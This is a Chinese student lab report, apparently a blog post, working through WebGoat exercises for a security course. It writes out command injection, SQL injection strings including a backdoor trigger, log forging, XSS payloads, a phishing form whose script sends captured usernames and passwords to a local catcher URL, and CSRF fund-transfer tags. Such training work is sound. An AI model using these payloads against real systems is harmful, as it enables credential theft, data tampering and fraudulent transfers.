标签:eal toc rip ESS ali onclick confirm orm 注入攻击
本实践的目标理解常用网络攻击技术的基本原理。
1、做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。
2、抓图包括学号,P图或无学号,每张扣0.5分 ,超过两张者此项不得分。(1分)
3、抄袭别人者0分
在本次实验中,用到的环境为:WebGoat
1、下载jar包webgoat-server-8.0.0.M26.jar
一直下载不下来,然后下载了另一个:webgoat-container-7.0.1-war-exec.jar
2、WebGoat默认使用8080端口,开启前先用netstat -tupln | grep 8080
查看端口是否被占用,如果被占用,用kill 进程号
终止占用8080端口的进程。
3、WebGoat运行java平台之上,使用java -version
查看jdk版本。
4、使用java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar
开启WebGoat
,出现Starting ProtocolHandler ["http-bio-8080"]
之后就开启成功了。
5、浏览器中打开WebGoat登录界面:http://localhost:8080/WebGoat
(可以直接使用在界面里看到的两组用户名和密码登陆)
(1)按F12进入调试界面,选择inspect Element
对源代码进行修改:
(2)例如在BackDoors.help
后面加上"& netstat -an & ipconfig"
(用Edit At Html
进行修改):
(3)点击View
,可看到命令的输出结果:
通过注入SQL字符串的方式查看所有的天气数据
(1)按F12进入调试界面,选择inspect Element
对源代码进行修改:
(2)在选项列表中,任意选择一个值,比如“101”,后面加上or 1=1(用Edit At Html
进行修改):
(3)点击Go
,可以看到攻击成功:
通过插入脚本实现日志欺骗
(1)在文本框中输入用户名:smith Login Succeeded for username admin,这样用户名后面的信息会在同一行显示,而不是在新的一行。
(2)可以往该应用中注入回车(0D%)和换行符(%0A)。在username 中填入Smith%0d%0aLogin Succeeded for username: admin,以达到修改日志的目的:
(3)攻击者可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。比如,将admin <script>alert(document.cookie)</script>
作为用户名输入。
基于查询语句SELECT * FROM user_data WHERE last_name = ‘?‘
构造SQL 注入字符串绕过认证
(1)正常情况下只能查询到用户名对应的信用卡号码:
(2)输入以下代码,得到所有用户的信用卡号码:
’ or 1=1 --
// 或者
Snow‘ or 1=1 --
攻击者可以创建一个触发器,该触发器在创建新用户时,将每个新用户的Email 地址设置为攻击者的地址
(1)输入102,得到该用户的信息(发现输入的语句没有验证,很容易进行 SQL 注入):
(2)若要执行两个语句,中间需要用分号分隔。输入注入语句:
102; update employee set salary=10000
(3)若设置触发器,可使用以下查询条件:
由于WebGoat 使用的是MySQL数据库,不支持触发器,因此以上并不能在这里真正实现
102;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘john@hackme.com‘ WHERE userid = NEW.userid
在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。如创建一个form
,要求填写用户名和密码
(1)一个带用户名和密码输入框的表格如下所示:
<form>
feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
搜索这段代码,可以看到页面中增加了一个表单:
(2)还需要一段脚本(这段代码会读取在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat):
<script>
function hack()
{ alert("Had this been a real attack... Your credentials were just stolen." User Name = " +
document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new
Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+
document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
(3)将这两段代码合并:
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>
搜索这段代码,出现用户名和密码的填写界面:
填写并登录,WebGoat会反馈输入的信息:
写入非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
(1)在Message
中构造语句<script>alert("2075328 attack succeed!");</script>
,Title任意。提交后可发现刚创建的帖子test5328
,点击5328
,然后会弹出一个对话框,证明XSS攻击成功:
恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的
(1)在Enter your three digit access code
中构造语句<script>alert("Hello! I am 20175328");</script>
,点击Purchase
,成功显示警告框,内容为我们script脚本指定的内容:
CSRF通过伪装来自受信任用户的请求来利用受信任的网站
(1)查看页面右下方Parameters
中的src
和menu
值,分别为290和900:
(2)在Message
中构造语句:
<img src="http://localhost:8080/WebGoat/attack?Screen=290&menu=900&transferFunds=5000" width="1" height="1" />
以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit
提交(其中语句中的&transferFunds=5000
,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)
(3)输入任意Title
,提交后,在Message List
中生成以Title
命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
(1)查看页面右下方Parameters
中的src
和menu
值,分别为328和900:
(2)在Message
中构造语句:
<iframe src="attack?Screen=328&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=328&menu=900&transferFunds=CONFIRM"> </iframe>
(3)点击Submit
生成以Title
命名的链接,点击链接,攻击成功
1、kali默认已安装Apache,直接使用service apache2 start
命令打开Apache服务即可。如果没有任何错误提示,即表明成功开启。
图打开Apache服务
2、在浏览器输入127.0.0.1
,如果可以打开Apache的默认网页,则开启成功。
图开启成功
1、在原有simple_form.html
基础上,添加一段JavaScript代码,以完成对用户名(邮箱)和密码的验证。
2、浏览器中输入/var/www/html/login_test.html
打开网页。
图网页
1、kali中输入/etc/init.d/mysql start
开启MySQL服务。
图开启MySQL服务
2、输入mysql -u root -p
使用root权限进入,默认的密码是password。
图
图
本次实验做的是DNS欺骗。感觉钓鱼网站的原理不是那么高大上了,每个人都可以做一个简易版的钓鱼网站。不过这也提醒我们,不要随便乱点什么奇奇怪怪的链接,出现的界面非常有可能偷梁换柱了。
标签:eal toc rip ESS ali onclick confirm orm 注入攻击
原文地址:https://www.cnblogs.com/seven-moon/p/12996529.html